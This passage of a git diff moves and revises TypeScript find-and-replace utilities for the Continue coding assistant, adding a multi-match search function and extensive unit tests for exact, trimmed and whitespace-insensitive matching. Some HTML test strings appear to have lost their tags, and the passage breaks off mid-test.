trimEmptyLines({ + lines, + fromEnd, +}: { + lines: string[]; + fromEnd: boolean; +}): string[] { + lines = fromEnd ? lines.slice().reverse() : lines.slice(); + const newLines: string[] = []; + let shouldContinueRemoving = true; + for (let index = 0; index < lines.length; index++) { + const line = lines[index]; + if (shouldContinueRemoving && line.trim() === "") continue; + shouldContinueRemoving = false; + newLines.push(line); + } + return fromEnd ? newLines.reverse() : newLines; +} diff --git a/core/edit/searchAndReplace/findAndReplaceUtils.vitest.ts b/core/edit/searchAndReplace/findAndReplaceUtils.vitest.ts new file mode 100644 index 000000000..1489de7ac --- /dev/null +++ b/core/edit/searchAndReplace/findAndReplaceUtils.vitest.ts @@ -0,0 +1,221 @@ +import { describe, expect, it } from "vitest"; +import { ContinueErrorReason } from "../../util/errors"; +import { trimEmptyLines, validateSingleEdit } from "./findAndReplaceUtils"; + +describe("validateSingleEdit", () => { + describe("valid inputs", () => { + it("should not throw for valid non-empty strings", () => { + expect(() => { + validateSingleEdit("old", "new", undefined); + }).not.toThrow(); + }); + + it("should allow empty old_string for file creation", () => { + expect(() => { + validateSingleEdit("", "new content", undefined); + }).not.toThrow(); + }); + + it("should allow empty new_string for deletion", () => { + expect(() => { + validateSingleEdit("delete me", "", undefined); + }).not.toThrow(); + }); + + it("should allow multiline strings", () => { + expect(() => { + validateSingleEdit("line1\nline2", "newline1\nnewline2", undefined); + }).not.toThrow(); + }); + + it("should allow special characters", () => { + expect(() => { + validateSingleEdit("/[a-z]+/g", "/[A-Z]+/g", undefined); + }).not.toThrow(); + }); + + it("should allow replaceAll as true", () => { + expect(() => { + validateSingleEdit("old", "new", true); + }).not.toThrow(); + }); + + it("should allow replaceAll as false", () => { + expect(() => { + validateSingleEdit("old", "new", false); + }).not.toThrow(); + }); + + it("should return validated values including replaceAll", () => { + const result = validateSingleEdit("old", "new", true); + expect(result).toEqual({ + oldString: "old", + newString: "new", + replaceAll: true, + }); + }); + + it("should return validated values with replaceAll undefined", () => { + const result = validateSingleEdit("old", "new", undefined); + expect(result).toEqual({ + oldString: "old", + newString: "new", + replaceAll: undefined, + }); + }); + }); + + describe("invalid inputs", () => { + it("should throw error when old_string is null", () => { + expect(() => { + validateSingleEdit(null as any, "new", undefined); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingOldString, + }), + ); + }); + + it("should throw error when old_string is undefined", () => { + expect(() => { + validateSingleEdit(undefined as any, "new", undefined); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingOldString, + }), + ); + }); + + it("should throw error when new_string is undefined", () => { + expect(() => { + validateSingleEdit("old", undefined as any, undefined); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingNewString, + }), + ); + }); + + it("should throw error when old_string and new_string are identical", () => { + expect(() => { + validateSingleEdit("same", "same", undefined); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + }), + ); + }); + + it("should throw error when both are empty strings", () => { + expect(() => { + validateSingleEdit("", "", undefined); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + }), + ); + }); + + it("should throw error when replaceAll is not a boolean", () => { + expect(() => { + validateSingleEdit("old", "new", "invalid" as any); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceInvalidReplaceAll, + }), + ); + }); + + it("should throw error when replaceAll is null", () => { + expect(() => { + validateSingleEdit("old", "new", null as any); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceInvalidReplaceAll, + }), + ); + }); + + it("should throw error when replaceAll is a number", () => { + expect(() => { + validateSingleEdit("old", "new", 1 as any); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceInvalidReplaceAll, + }), + ); + }); + }); + + describe("error messages with context", () => { + it("should include edit number in error messages when index provided", () => { + expect(() => { + validateSingleEdit(null as any, "new", undefined, 2); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingOldString, + }), + ); + }); + + it("should include edit number for new_string errors", () => { + expect(() => { + validateSingleEdit("old", undefined as any, undefined, 0); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingNewString, + }), + ); + }); + + it("should include edit number for identical strings error", () => { + expect(() => { + validateSingleEdit("same", "same", undefined, 4); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + }), + ); + }); + + it("should include edit number for replaceAll validation error", () => { + expect(() => { + validateSingleEdit("old", "new", "invalid" as any, 3); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceInvalidReplaceAll, + }), + ); + }); + + it("should not include context when index not provided", () => { + expect(() => { + validateSingleEdit("same", "same", undefined); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + }), + ); + }); + }); +}); + +describe("trimEmptyLines", () => { + it("trims leading empty lines from start", () => { + const input = ["", "", "a", "", "b"]; + const result = trimEmptyLines({ lines: input, fromEnd: false }); + expect(result).toEqual(["a", "", "b"]); + }); + + it("trims trailing empty lines from end", () => { + const input = ["a", "", "b", "", ""]; + const result = trimEmptyLines({ lines: input, fromEnd: true }); + expect(result).toEqual(["a", "", "b"]); + }); + + it("returns empty array when all lines are empty", () => { + const input = ["", "", ""]; + const result = trimEmptyLines({ lines: input, fromEnd: false }); + expect(result).toEqual([]); + }); +}); diff --git a/extensions/cli/src/tools/searchAndReplace/findSearchMatch.ts b/core/edit/searchAndReplace/findSearchMatch.ts similarity index 75% rename from extensions/cli/src/tools/searchAndReplace/findSearchMatch.ts rename to core/edit/searchAndReplace/findSearchMatch.ts index 9597d5070..9093bc27b 100644 --- a/extensions/cli/src/tools/searchAndReplace/findSearchMatch.ts +++ b/core/edit/searchAndReplace/findSearchMatch.ts @@ -4,7 +4,7 @@ interface BasicMatchResult { /** The starting character index of the match in the file content */ startIndex: number; - /** The ending character index of the match in the file content */ + /** The ending character index of the match in the file content (NOT inclusive - e.g. like slice)*/ endIndex: number; } @@ -81,32 +81,38 @@ function whitespaceIgnoredMatch( } // Map the stripped position back to the original file content - let originalStartIndex = 0; + let originalStartIndex = -1; let strippedCharCount = 0; - // Find the original position by counting non-whitespace characters + // Find the original start position by counting non-whitespace characters for (let i = 0; i < fileContent.length; i++) { - if (strippedCharCount === strippedIndex) { - originalStartIndex = i; - break; - } if (!/\s/.test(fileContent[i])) { + if (strippedCharCount === strippedIndex) { + originalStartIndex = i; + break; + } strippedCharCount++; } } - // Find the end position by counting the length of the search content - let originalEndIndex = originalStartIndex; - let matchedChars = 0; + if (originalStartIndex === -1) { + return null; // Should not happen if strippedIndex was valid + } - for ( - let i = originalStartIndex; - i < fileContent.length && matchedChars < strippedSearchContent.length; - i++ - ) { + // Find the end position by counting through all characters (including whitespace) + // that correspond to the stripped search content length + let originalEndIndex = originalStartIndex; + let matchedNonWhitespaceChars = 0; + + for (let i = originalStartIndex; i < fileContent.length; i++) { if (!/\s/.test(fileContent[i])) { - matchedChars++; + matchedNonWhitespaceChars++; + if (matchedNonWhitespaceChars === strippedSearchContent.length) { + originalEndIndex = i + 1; + break; + } } + // Always update end index to include current position (whether whitespace or not) originalEndIndex = i + 1; } @@ -118,6 +124,7 @@ function whitespaceIgnoredMatch( /** * Calculate the Jaro similarity between two strings + * TODO Restore this functionality - current implementation has some kind of bug where it only returns one line for the match */ function jaroSimilarity(s1: string, s2: string): number { if (s1 === s2) return 1.0; @@ -278,7 +285,7 @@ const matchingStrategies: Array<{ strategy: MatchStrategy; name: string }> = [ { strategy: exactMatch, name: "exactMatch" }, { strategy: trimmedMatch, name: "trimmedMatch" }, { strategy: whitespaceIgnoredMatch, name: "whitespaceIgnoredMatch" }, - { strategy: findFuzzyMatch, name: "jaroWinklerFuzzyMatch" }, + // { strategy: findFuzzyMatch, name: "jaroWinklerFuzzyMatch" }, ]; /** @@ -315,3 +322,58 @@ export function findSearchMatch( return null; } + +/** + * Find all matches for search content in file content. + * Uses the same matching strategies as findSearchMatch, applied iteratively. + * + * @param fileContent - The complete content of the file to search in + * @param searchContent - The content to search for + * @returns Array of match results with character positions, empty array if no matches found + */ +export function findSearchMatches( + fileContent: string, + searchContent: string, +): SearchMatchResult[] { + const matches: SearchMatchResult[] = []; + + // Special case: empty search string always matches at position 0 + if (searchContent.trim() === "") { + return [{ startIndex: 0, endIndex: 0, strategyName: "emptySearch" }]; + } + + let remainingContent = fileContent; + let currentOffset = 0; + + while (remainingContent.length > 0) { + const match = findSearchMatch(remainingContent, searchContent); + + if (match === null) { + break; + } + + // Adjust match positions to account for the current offset + const adjustedMatch: SearchMatchResult = { + startIndex: match.startIndex + currentOffset, + endIndex: match.endIndex + currentOffset, + strategyName: match.strategyName, + }; + + // Prevent infinite loops by ensuring we're making progress + // If the new match starts at or before the last match's start position, break + if ( + matches.length > 0 && + adjustedMatch.startIndex <= matches[matches.length - 1].startIndex + ) { + break; + } + + matches.push(adjustedMatch); + + // Update offset and truncate content after the current match + currentOffset = adjustedMatch.endIndex; + remainingContent = fileContent.slice(currentOffset); + } + + return matches; +} diff --git a/core/edit/searchAndReplace/findSearchMatch.vitest.ts b/core/edit/searchAndReplace/findSearchMatch.vitest.ts new file mode 100644 index 000000000..54c2f5128 --- /dev/null +++ b/core/edit/searchAndReplace/findSearchMatch.vitest.ts @@ -0,0 +1,571 @@ +import { describe, expect, it } from "vitest"; +import { findSearchMatch } from "./findSearchMatch"; + +describe("findSearchMatch", () => { + describe("Empty search content", () => { + it("should return position 0 for empty string", () => { + const result = findSearchMatch("some file content", ""); + expect(result).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + + it("should return position 0 for whitespace-only string", () => { + const result = findSearchMatch("some file content", " \n\t "); + expect(result).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + + it("should handle empty file content with empty search", () => { + const result = findSearchMatch("", ""); + expect(result).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + }); + + describe("Exact match strategy", () => { + it("should find exact match at beginning of file", () => { + const fileContent = "hello world"; + const searchContent = "hello"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 5, + strategyName: "exactMatch", + }); + }); + + it("should find exact match in middle of file", () => { + const fileContent = "hello world test"; + const searchContent = "world"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 6, + endIndex: 11, + strategyName: "exactMatch", + }); + }); + + it("should find exact match at end of file", () => { + const fileContent = "hello world"; + const searchContent = "world"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 6, + endIndex: 11, + strategyName: "exactMatch", + }); + }); + + it("should find multi-line exact match", () => { + const fileContent = "line1\nline2\nline3"; + const searchContent = "line2\nline3"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 6, + endIndex: 17, + strategyName: "exactMatch", + }); + }); + + it("should handle exact match with special characters", () => { + const fileContent = 'function test() { return "hello"; }'; + const searchContent = '{ return "hello"; }'; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 16, + endIndex: 35, + strategyName: "exactMatch", + }); + }); + + it("should find first occurrence when multiple matches exist", () => { + const fileContent = "test test test"; + const searchContent = "test"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 4, + strategyName: "exactMatch", + }); + }); + + it("should handle case-sensitive matching", () => { + const fileContent = "Hello World"; + const searchContent = "hello"; + const result = findSearchMatch(fileContent, searchContent); + + // Should not match due to case sensitivity, will fall through to other strategies + expect(result).toBeNull(); + }); + }); + + describe("Trimmed match strategy fallback", () => { + it("should find match when search content has leading/trailing whitespace", () => { + const fileContent = "hello world"; + const searchContent = " hello "; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 5, + strategyName: "trimmedMatch", + }); + }); + + it("should find match when search content has tabs and newlines", () => { + const fileContent = "function test() {}"; + const searchContent = "\t\nfunction test()\n\t"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 15, + strategyName: "trimmedMatch", + }); + }); + + it("should handle complex whitespace trimming", () => { + const fileContent = "const x = 5;"; + const searchContent = " \n\t const x = 5; \t\n "; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 12, + strategyName: "trimmedMatch", + }); + }); + }); + + describe("Whitespace ignored strategy fallback", () => { + it("should match content with different whitespace formatting", () => { + const fileContent = "function test() {\n return true;\n}"; + const searchContent = "function test(){return true;}"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 34, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle mixed whitespace differences", () => { + const fileContent = "if (condition) {\n doSomething();\n}"; + const searchContent = "if(condition){doSomething();}"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 37, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match with tabs vs spaces differences", () => { + const fileContent = "function test() {\n\treturn 42;\n}"; + const searchContent = "function test() {\n return 42;\n}"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 31, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle partial matches within larger content", () => { + const fileContent = "before\nfunction test() {\n return true;\n}\nafter"; + const searchContent = "function test(){return true;}"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 7, + endIndex: 41, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should recognize empty search", () => { + const fileContent = "some content"; + const searchContent = " \t\n "; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + + it("should handle complex nested structures with whitespace differences", () => { + const fileContent = `{ + "key": "value", + "nested": { + "prop": 123 + } +}`; + const searchContent = '{"key":"value","nested":{"prop":123}}'; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 55, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match content in middle of file with complex indentation", () => { + const fileContent = `import React from 'react'; + +function MyComponent() { + const handleClick = () => { + console.log('clicked'); + }; + return ; +} + +export default MyComponent;`; + const searchContent = `const handleClick=()=>{console.log('clicked');};`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 55, + endIndex: 115, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle matches with mixed line endings and special characters", () => { + const fileContent = `\r\n\r\n \r\n
\r\n

Hello & goodbye

\r\n
\r\n \r\n`; + const searchContent = `

Hello&goodbye

`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 39, + endIndex: 95, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match content surrounded by different types of whitespace", () => { + const fileContent = `\tconst data = {\n\t\tname: "John",\n\t\tage: 30,\n\t\taddress: {\n\t\t\tstreet: "Main St",\n\t\t\tcity: "NYC"\n\t\t}\n\t};`; + const searchContent = `address:{street:"MainSt",city:"NYC"}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 45, + endIndex: 96, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + // IMPORTANT string.length and string.slice both count UTF-16 units so emojis will count as 2 in both + it("should handle unicode characters with whitespace differences", () => { + const fileContent = `const message = {\n greeting: "Hello 👋",\n emoji: "🚀",\n unicode: "café",\n symbol: "∑"\n};`; + const searchContent = `emoji:"🚀",unicode:"café",symbol:"∑"`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 44, + endIndex: 89, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match across multiple nested blocks with varying indentation", () => { + const fileContent = `class Calculator {\n add(a, b) {\n if (typeof a === 'number' && typeof b === 'number') {\n return a + b;\n }\n throw new Error('Invalid input');\n }\n\n multiply(x, y) {\n return x * y;\n }\n}`; + const searchContent = `if(typeofa==='number'&&typeofb==='number'){returna+b;}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 43, + endIndex: 132, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle regex-like patterns with escaped characters", () => { + const fileContent = `const pattern = /\\d+\\.\\d+/g;\nconst test = \"123.456\";\nif (pattern.test(test)) {\n console.log(\"Match found\");\n}`; + const searchContent = `consttest="123.456";if(pattern.test(test)){console.log("Matchfound");}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 29, + endIndex: 110, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match SQL-like content with varying whitespace", () => { + const fileContent = `SELECT users.name,\n users.email,\n profiles.bio\nFROM users\nINNER JOIN profiles ON users.id = profiles.user_id\nWHERE users.active = true\nORDER BY users.name;`; + const searchContent = `SELECTusers.name,users.email,profiles.bioFROMusersINNERJOINprofiles`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 89, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle content with form feeds, vertical tabs, and other rare whitespace", () => { + const fileContent = `function\fprocess\vdata(input)\u0020{\u00A0\n\treturn\u2000input.trim();\u2009\n}`; + const searchContent = `functionprocessdata(input){returninput.trim();}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 56, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match content with Windows-style CRLF line endings", () => { + const fileContent = `@echo off\r\nset PATH=%PATH%;C:\\tools\r\nif \"%1\"==\"\" (\r\n echo Usage: script.bat filename\r\n exit /b 1\r\n)\r\necho Processing %1...\r\necho Done.`; + const searchContent = `if\"%1\"==\"\"(echo Usage: script.bat filename exit/b 1)`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 37, + endIndex: 105, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle deeply nested JSON with mixed formatting", () => { + const fileContent = `{\n \"config\": {\n \"database\": {\n \"host\": \"localhost\",\n \"port\": 5432,\n \"credentials\": {\n \"username\": \"admin\",\n \"password\": \"secret\"\n },\n \"options\": {\n \"ssl\": true,\n \"timeout\": 30000\n }\n }\n }\n}`; + const searchContent = `\"credentials\":{\"username\":\"admin\",\"password\":\"secret\"},\"options\":{\"ssl\":true,\"timeout\":30000}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 87, + endIndex: 243, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match XML content with attribute spacing differences", () => { + const fileContent = `\n\n \n Test Item\n 100\n \n`; + const searchContent = `TestItem100`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 48, + endIndex: 155, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle mathematical expressions with varying spacing", () => { + const fileContent = `const result = (a + b) * c - d / e;\nconst complex = Math.sqrt( x ** 2 + y ** 2 );\nconst formula = ( ( a + b ) * ( c - d ) ) / ( e + f );`; + const searchContent = `constcomplex=Math.sqrt(x**2+y**2);constformula=((a+b)*(c-d))/(e+f);`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 36, + endIndex: 142, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match across comments and code with whitespace variations", () => { + const fileContent = `/* Multi-line comment\n with varying indentation */\nfunction processData(input) {\n // Single line comment\n const cleaned = input.trim();\n /* Another comment */\n return cleaned.toLowerCase();\n}`; + const searchContent = `/*Multi-linecommentwithvaryingindentation*/functionprocessData(input){//Singlelinecommentconstcleaned=input.trim();/*Anothercomment*/returncleaned.toLowerCase();}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 205, + strategyName: "whitespaceIgnoredMatch", + }); + }); + }); + + describe("No match scenarios", () => { + it("should return null when no strategy finds a match", () => { + const fileContent = "hello world"; + const searchContent = "goodbye"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toBeNull(); + }); + + it("should return null for completely different content", () => { + const fileContent = "function test() { return true; }"; + const searchContent = "class MyClass { }"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toBeNull(); + }); + + it("should return null when search content is longer than file content", () => { + const fileContent = "short"; + const searchContent = "this is much longer than the file content"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toBeNull(); + }); + }); + + describe("Edge cases", () => { + it("should handle empty file content with non-empty search", () => { + const fileContent = ""; + const searchContent = "something"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toBeNull(); + }); + + it("should handle single character matches", () => { + const fileContent = "a"; + const searchContent = "a"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 1, + strategyName: "exactMatch", + }); + }); + + it("should handle unicode characters", () => { + const fileContent = "Hello 🌍 World"; + const searchContent = "🌍"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 6, + endIndex: 8, // Unicode emoji takes 2 character positions + strategyName: "exactMatch", + }); + }); + + it("should handle newlines and carriage returns", () => { + const fileContent = "line1\r\nline2\nline3"; + const searchContent = "\r\nline2"; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 5, + endIndex: 12, + strategyName: "exactMatch", + }); + }); + + it("should handle very long content efficiently", () => { + const longContent = "a".repeat(10000) + "target" + "b".repeat(10000); + const searchContent = "target"; + const result = findSearchMatch(longContent, searchContent); + + expect(result).toEqual({ + startIndex: 10000, + endIndex: 10006, + strategyName: "exactMatch", + }); + }); + }); + + describe("Strategy precedence", () => { + it("should prefer exact match over trimmed match", () => { + const fileContent = "hello world hello"; + const searchContent = "hello"; // This exists exactly, so should use exactMatch + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 5, + strategyName: "exactMatch", + }); + }); + + it("should prefer trimmed match over whitespace ignored match", () => { + // Set up content where trimmed match would work but whitespace ignored would also work + const fileContent = "hello world"; + const searchContent = " hello "; // Has whitespace but trimmed version exists + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 5, + strategyName: "trimmedMatch", + }); + }); + + it("should fall back through strategies in correct order", () => { + const fileContent = "function test() {\n return true;\n}"; + const searchContent = " function test(){return true;} "; // Needs whitespace ignored + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 34, + strategyName: "whitespaceIgnoredMatch", + }); + }); + }); + + describe("Real-world code examples", () => { + it("should handle JavaScript function matching", () => { + const fileContent = `function calculateSum(a, b) { + const result = a + b; + return result; +}`; + const searchContent = `function calculateSum(a, b) { + const result = a + b; + return result; +}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 72, + strategyName: "exactMatch", + }); + }); + + it("should handle HTML tag matching with different formatting", () => { + const fileContent = `
+

Hello World

+
`; + const searchContent = `

Hello World

`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 51, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle CSS rule matching", () => { + const fileContent = `.button { + background-color: blue; + color: white; +}`; + const searchContent = `.button{background-color:blue;color:white;}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 53, + strategyName: "whitespaceIgnoredMatch", + }); + }); + }); +}); diff --git a/core/edit/searchAndReplace/findSearchMatches.test.ts b/core/edit/searchAndReplace/findSearchMatches.test.ts new file mode 100644 index 000000000..392637a62 --- /dev/null +++ b/core/edit/searchAndReplace/findSearchMatches.test.ts @@ -0,0 +1,368 @@ +import { findSearchMatches } from "./findSearchMatch"; + +describe("findSearchMatches", () => { + describe("exact match strategy", () => { + it("should find single occurrence", () => { + const content = "const foo = 'bar';"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 6, + endIndex: 9, + strategyName: "exactMatch", + }); + }); + + it("should find multiple occurrences", () => { + const content = "const foo = 'foo';"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(2); + expect(matches[0]).toEqual({ + startIndex: 6, + endIndex: 9, + strategyName: "exactMatch", + }); + expect(matches[1]).toEqual({ + startIndex: 13, + endIndex: 16, + strategyName: "exactMatch", + }); + }); + + it("should find overlapping pattern occurrences correctly", () => { + const content = "aaaa"; + const search = "aa"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(2); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 2, + strategyName: "exactMatch", + }); + expect(matches[1]).toEqual({ + startIndex: 2, + endIndex: 4, + strategyName: "exactMatch", + }); + }); + + it("should return empty array when no matches found", () => { + const content = "const bar = 'baz';"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toEqual([]); + }); + + it("should handle multi-line content", () => { + const content = `line 1 foo +line 2 bar +line 3 foo`; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(2); + expect(matches[0]).toEqual({ + startIndex: 7, + endIndex: 10, + strategyName: "exactMatch", + }); + expect(matches[1]).toEqual({ + startIndex: 29, + endIndex: 32, + strategyName: "exactMatch", + }); + }); + }); + + describe("trimmed match strategy", () => { + it("should find trimmed occurrences when exact match fails", () => { + const content = "const foo = 'bar';"; + const search = " foo "; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 6, + endIndex: 9, + strategyName: "trimmedMatch", + }); + }); + + it("should find multiple trimmed occurrences", () => { + const content = "const foo = 'foo';"; + const search = " foo "; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(2); + expect(matches[0]).toEqual({ + startIndex: 6, + endIndex: 9, + strategyName: "trimmedMatch", + }); + expect(matches[1]).toEqual({ + startIndex: 13, + endIndex: 16, + strategyName: "trimmedMatch", + }); + }); + }); + + describe("whitespace ignored match strategy", () => { + it("should find matches ignoring internal whitespace", () => { + const content = "const foo = bar;"; + const search = "const foo=bar"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 15, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should find multiple matches ignoring whitespace", () => { + const content = `const foo = bar; +const baz = foo;`; + const search = "const foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 9, + strategyName: "exactMatch", + }); + }); + + it("should handle complex whitespace patterns", () => { + const content = `function test() { + return true; +}`; + const search = "function test(){return true;}"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 34, + strategyName: "whitespaceIgnoredMatch", + }); + }); + }); + + describe("empty search content", () => { + it("should return single match at position 0 for empty string", () => { + const content = "const foo = 'bar';"; + const search = ""; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + + it("should return single match at position 0 for whitespace-only string", () => { + const content = "const foo = 'bar';"; + const search = " \n\t "; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + }); + + describe("edge cases", () => { + it("should handle searching in empty content", () => { + const content = ""; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toEqual([]); + }); + + it("should handle searching for content at the beginning", () => { + const content = "foo bar baz"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 3, + strategyName: "exactMatch", + }); + }); + + it("should handle searching for content at the end", () => { + const content = "foo bar baz"; + const search = "baz"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 8, + endIndex: 11, + strategyName: "exactMatch", + }); + }); + + it("should handle searching for the entire content", () => { + const content = "foo bar baz"; + const search = "foo bar baz"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 11, + strategyName: "exactMatch", + }); + }); + + it("should handle special characters", () => { + const content = "const regex = /[a-z]+/g;"; + const search = "/[a-z]+/g"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 14, + endIndex: 23, + strategyName: "exactMatch", + }); + }); + + it("should handle Unicode characters", () => { + const content = "const emoji = '🚀 Hello 🌍';"; + const search = "🚀 Hello 🌍"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 15, + endIndex: 26, + strategyName: "exactMatch", + }); + }); + }); + + describe("performance considerations", () => { + it("should handle long content with multiple matches", () => { + const repeatedContent = "foo bar ".repeat(1000); + const search = "foo"; + const matches = findSearchMatches(repeatedContent, search); + + expect(matches).toHaveLength(1000); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 